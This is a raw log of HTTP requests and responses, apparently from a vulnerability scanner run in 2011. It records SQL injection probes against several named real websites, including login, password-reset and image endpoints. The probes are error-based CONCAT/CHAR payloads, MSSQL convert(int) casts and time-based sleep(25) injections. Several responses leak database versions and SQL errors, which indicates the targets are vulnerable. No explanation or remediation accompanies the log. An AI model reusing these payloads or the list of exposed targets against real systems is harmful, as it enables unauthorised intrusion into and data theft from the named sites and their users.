Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.1.10.1304721456
Content-Length: 31

tEmail=Email&pPassword=Password

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:37:53 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=71434cdaab7d48ca4d16e33577c1485b; expires=Fri, 06 May 2011 19:37:53 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/login.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.2.10.1304721456

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:38:43 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=383d3a7937f2f4fbb471661631d341dd; expires=Fri, 06 May 2011 19:38:43 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<a href="/forgot-password.php" title="Forgot Password" id="aForgotPassword">
...[SNIP]...
<input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
...[SNIP]...
<label for="tPassword">Password:</label>
...[SNIP]...
<input name="tPassword" id="tPassword" type="password" value="" class="textBoxSize" maxlength="32" />
...[SNIP]...
<label for="tRePassword">Password (retype):</label>
...[SNIP]...
<input name="tRePassword" type="password" id="tRePassword" class="textBoxSize" maxlength="32" />
...[SNIP]...
field is required");fv.addValidation("tEmail","req", "The \"Email\" field is required");fv.addValidation("tEmail","email", "The \"Email\" field must contain a valid email address");fv.addValidation("tPassword","req", "The \"Password\" field is required");fv.addValidation("tPassword","minlen=4", "The \"Password\" field must have at least 4 characters");fv.addValidation("tPassword|tRePassword","match", "The Password fields must match");fv.addValidation("cbTerms","req", "You must agree to the terms of service and privacy policy");</script>
...[SNIP]...

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.1.10.1304721456
Content-Length: 31

tEmail=Email&pPassword=Password

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:37:53 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=71434cdaab7d48ca4d16e33577c1485b; expires=Fri, 06 May 2011 19:37:53 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

GET /blog/ HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.3.10.1304721456

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:39:52 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
X-Pingback: http://www.socialfollow.com/blog/xmlrpc.php
Set-Cookie: PHPSESSID=f9e5973c7ff9e78b9f821853443b2eb5; expires=Fri, 06 May 2011 19:39:55 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 96431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head pro
...[SNIP]...
<a href="/forgot-password.php" title="Forgot Password" id="aForgotPassword">
...[SNIP]...
<input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
...[SNIP]...

GET /subscribe.php?event_id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
Host: events.gsmiweb.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=246713051.1303999551.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=246713051.480784472.1303999551.1303999551.1303999551.1; PHPSESSID=n1ninf9mvtgucavvk20tlpt8n1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:43:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 130
Connection: close
Content-Type: text/html

<script language="javascript">
window.location.href="events.php";
</script>
Duplicate entry '_!@4dilemma:0' for key 1

POST /AccountManager/ResetPassword/Exec_Reset.asp HTTP/1.1
Referer: http://login.vindicosuite.com/AccountManager/ResetPassword/index.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: login.vindicosuite.com
Cookie: ASPSESSIONIDSSSCTDAT=CMNPJKACHIDMMJGMMEKHFGND
Accept-Encoding: gzip, deflate
Content-Length: 204

username=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)&existingPassword=3&newPassword=3

HTTP/1.1 302 Object moved
Cache-Control: private
Content-Length: 172
Content-Type: text/html
Location: index.asp?message=Invalid%20Username%20/%20Password
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:31:20 GMT

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="index.asp?message=Invalid%20Username%20/%20Password">here</a>.</body>

GET /AccountManager/ResetPassword/index.asp?message=-1+AND+(SELECT+1+FROM+(SELECT+2)a+WHERE+1%3Dsleep(25))--+1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.vindicosuite.com
Cookie: ASPSESSIONIDSSSCTDAT=MBNPJKACNAJKJFBPLELMNGGF
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3689
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:20:59 GMT

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
   <title>Password Reset</title>

   <script type="text
...[SNIP]...

GET /default.asp?message=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.vindicosuite.com
Cookie: ASPSESSIONIDSSSCTDAT=BFNPJKACJHGOFCEJLNCGHIKK
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2404
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:21:34 GMT

<html>

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

   <link rel="stylesheet" type="text/css" hre
...[SNIP]...

POST /vindico_dynamic.asp HTTP/1.1
Referer: http://login.vindicosuite.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: login.vindicosuite.com
Cookie: ASPSESSIONIDSSSCTDAT=CMNPJKACHIDMMJGMMEKHFGND
Accept-Encoding: gzip, deflate
Content-Length: 186

password=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)&username=Smith

HTTP/1.1 302 Object moved
Cache-Control: private
Content-Length: 182
Content-Type: text/html
Location: /default.asp?message=Invalid%20Username%20and%20or%20Password
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:31:20 GMT

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/default.asp?message=Invalid%20Username%20and%20or%20Password">here</a>.</body>

POST /ResetPassword.php HTTP/1.1
Referer: https://secure.trust-guard.com/ResetPassword.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: secure.trust-guard.com
Cookie: PHPSESSID=slhdu6ps008c709l4olril4430
Accept-Encoding: gzip, deflate
Content-Length: 119

btnCancel=-1+AND+(SELECT+1+FROM+(SELECT+2)a+WHERE+1%3Dsleep(25))--+1&btnSubmit=Submit&txtEmail=netsparker%40example.com

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:30:50 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 3810
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

POST /index.php HTTP/1.1
Referer: https://secure.trust-guard.com/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: secure.trust-guard.com
Cookie: PHPSESSID=todvqp9ae2pb55so66dlntmpe4
Accept-Encoding: gzip, deflate
Content-Length: 115

btnLogin=-1+AND+(SELECT+1+FROM+(SELECT+2)a+WHERE+1%3Dsleep(25))--+1&txtEmail=netsparker%40example.com&txtPassword=3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:52:36 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5083
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=3&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1
Host: www.angege.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 15:45:51 GMT
Server: Apache/2.2.8 (Fedora)
X-Powered-By: PHP/5.2.4
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 226

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(
...[SNIP]...

GET /get-image.php?id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2C(SELECT%20@@VERSION)%2CCHAR(95)%2CCHAR(33)%2CCHAR(64))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
Referer: http://www.caribbean-ocean.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.caribbean-ocean.com
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 16:00:03 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Content-Length: 1166
Content-Type: image/jpg

Warning: mysql_query(): Unable to save result set in /home/chroot/home/james/safari/mysql_driver.php on line 55
1062: Duplicate entry '_!@5.0.45-community-log_!@:1' for key 1<br /><br /><textarea row
...[SNIP]...

GET /2/a.z?cfg=-1+AND+(SELECT+1+FROM+(SELECT+2)a+WHERE+1%3Dsleep(25))--+1&fromprefetch=1&p=26&s=143 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 19:56:57 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 20:06:57 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 12251

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...

GET /a.z?s=-1+AND+(SELECT+1+FROM+(SELECT+2)a+WHERE+1%3Dsleep(25))--+1&p=9&c=2&cid=1037787&nid=4811607&fhn=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 19:58:26 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb9
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
X-Streamed: from 192.168.20.181 in 34 ms
Cache-Control: public, s-maxage=600
Expires: Fri, 06 May 2011 20:08:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12463

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...

GET /button/image/?b=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>FireHost Protection</title>
...[SNIP]...

GET /h/lbmc?Portal=lbmc&Target=ds%2FqueryPost.flow&Template=ds%2FphoneModeRedemption.tmpl&JavaScript=true&Form=lbmcSmartPage&Name_Full=&CompanyName=&Question= HTTP/1.1
Host: broker.gotoassist.com
Connection: keep-alive
Referer: http://www.gotoassist.com/ph/lbmc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:43:47 GMT
Server: Apache
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: dtsSession=SessionInfo%3D237919200%253A316A1A5A2614CFC; path=/
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 8818

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>GoToAssist: live online customer support</title>

<script language="JavaScript">
<!--
function empty
...[SNIP]...

GET /subscribe.php HTTP/1.1
Host: events.gsmiweb.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=246713051.1303999551.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=246713051.480784472.1303999551.1303999551.1303999551.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:38:48 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=2nk15qm3tn7surn8vvl1ofsf05; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 307
Connection: close
Content-Type: text/html

<script language="javascript">
window.location.href="events.php";
</script>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the ri
...[SNIP]...

GET /ccc01/comment_card.asp?time1=1304753251678&time2=1304754493643&prev=http%3A%2F%2Fburp%2Fshow%2F19&referer=http%3A%2F%2Fwww%2Eexpedia%2Ecom%2FHTX%5FFLTFLEX%5FCALENDAR%2Ehtml&height=1200&width=1920&custom_var=80312807C795402E93C5016D2A2A3E1B| HTTP/1.1
Host: secure.opinionlab.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 07 May 2011 02:48:21 GMT
Content-Type: text/html; Charset=UTF-8
Cool01: Opinionlab - Cool01
Set-Cookie: ASPSESSIONIDQCRBQCAC=NDNBDONBCBPKEFFJPEOEPEHB; path=/
Vary: Accept-Encoding
Content-Length: 8271

<html>
<head>
<META http-equiv="Content-Type" content="text/html; charset=UTF-16">
<base href="https://secure.opinionlab.com/ccc01">
<title>Comment
...[SNIP]...

GET / HTTP/1.1
Referer: https://secure.trust-guard.com/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: secure.trust-guard.com
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:58:13 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: PHPSESSID=a0np6gkb2vcuhnhijhucu86910; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /ResetPassword.php HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=147269874.1166530582.1303748966.1303748966.1303758698.2

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:01:18 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: PHPSESSID=523ir1s45tqff5eslbctb6ta86; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 3716
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: secure.trust-guard.com
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:54:04 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: PHPSESSID=uh9nm4eto59nfd5fii6haostd4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /scm/?form= HTTP/1.1
Host: subscribe.haymarketmedia.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
